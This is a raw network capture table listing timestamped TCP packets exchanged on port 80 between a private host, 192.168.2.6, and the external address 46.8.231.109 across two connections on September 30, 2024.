Sep 30, 2024 13:59:48.309118986 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389238119 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389281034 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389302015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389306068 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389313936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389332056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389332056 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389332056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389352083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389354944 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389364958 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389370918 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389378071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389388084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389389992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389399052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389406919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389409065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389415026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389420986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389425039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389444113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389456034 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389466047 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389477968 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389504910 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.389983892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.389997005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390007019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390022993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390033007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390033007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390047073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390054941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390059948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390072107 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390074015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390084982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390095949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390124083 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390136957 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390149117 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390158892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390172005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390183926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390207052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390208006 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390217066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.390240908 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.390261889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391313076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391324043 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391329050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391355991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391362906 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391367912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391380072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391411066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391422033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391432047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391434908 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391434908 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391443014 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391457081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391460896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391469955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391470909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391484022 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391496897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391499043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391508102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.391522884 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.391546011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392010927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392024040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392034054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392045975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392055988 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392061949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392074108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392083883 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392101049 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392102003 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392132998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392287016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392321110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392335892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392355919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392379999 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392384052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392395020 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392405987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392416954 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392427921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392431021 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392456055 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392456055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392467022 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.392472029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392493963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.392505884 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.207264900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.212198019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384849072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384877920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384887934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384893894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384900093 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384911060 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384916067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384921074 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384931087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384942055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384947062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384952068 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384958029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384965897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384979963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.384989023 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385021925 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385031939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385035992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385056019 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385080099 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385091066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385104895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385118961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385129929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385139942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385149956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385159969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385163069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385170937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385181904 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385185003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385211945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385216951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385226011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385227919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385237932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385253906 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385272026 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385309935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385319948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385329962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385339975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385344028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385369062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385396957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385422945 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385432959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385442972 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385453939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385462999 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385473967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385483027 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385483027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385493994 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385497093 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385504007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.385525942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.385535955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.387324095 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.387348890 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.401432991 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.406685114 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:49.407161951 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.407788038 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:49.412626982 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.008991003 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009010077 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009021997 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009033918 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009047031 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009057045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009066105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.009149075 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.009149075 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.009314060 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009325981 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009336948 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009357929 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.009385109 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.009424925 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.009475946 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.013991117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.014020920 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.014056921 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.014091015 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.014153957 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.014167070 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.014202118 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.014229059 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095174074 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095201969 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095212936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095223904 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095236063 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095266104 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095266104 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095380068 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095468998 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095479012 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095489025 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095508099 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095525026 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095827103 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095894098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095897913 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.095906019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095911980 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.095977068 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.096426964 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.096436977 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.096442938 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.096477985 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.096489906 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.096554041 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.096565962 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.097265959 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097315073 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.097362041 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097378969 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097394943 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097405910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097409010 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.097418070 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.097421885 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.097441912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.097479105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.098175049 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.098220110 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.101365089 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.101397038 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.101412058 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.101438046 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181447983 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181474924 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181485891 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181502104 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181503057 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181519032 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181530952 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181535959 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181545019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181545973 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181567907 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181579113 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181588888 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181600094 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181602955 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181611061 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181617022 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181622982 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181633949 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181633949 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.181658030 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.181674004 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182172060 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182183981 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182194948 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182210922 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182230949 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182250977 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182261944 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182272911 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182284117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182288885 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182307005 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182332039 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182338953 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182348967 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182359934 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182372093 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.182382107 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.182403088 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183060884 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183106899 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183118105 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183132887 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183142900 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183151960 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183186054 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183197021 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183209896 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183216095 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183218002 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183226109 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183231115 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183235884 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183290005 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183329105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183887959 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183898926 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183909893 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183926105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183944941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183948994 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183959961 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183970928 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.183979034 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.183983088 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184005976 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184031010 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184055090 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184065104 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184076071 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184087038 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184087992 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184103966 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184128046 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184814930 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184824944 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184837103 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184847116 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.184855938 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.184876919 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.267537117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267565966 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267577887 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267589092 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267602921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267613888 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267625093 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267636061 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267632961 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.267684937 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267698050 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267713070 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.267713070 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.267752886 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.267752886 CEST	49730	80	192.168.2.6	46.8.231.109
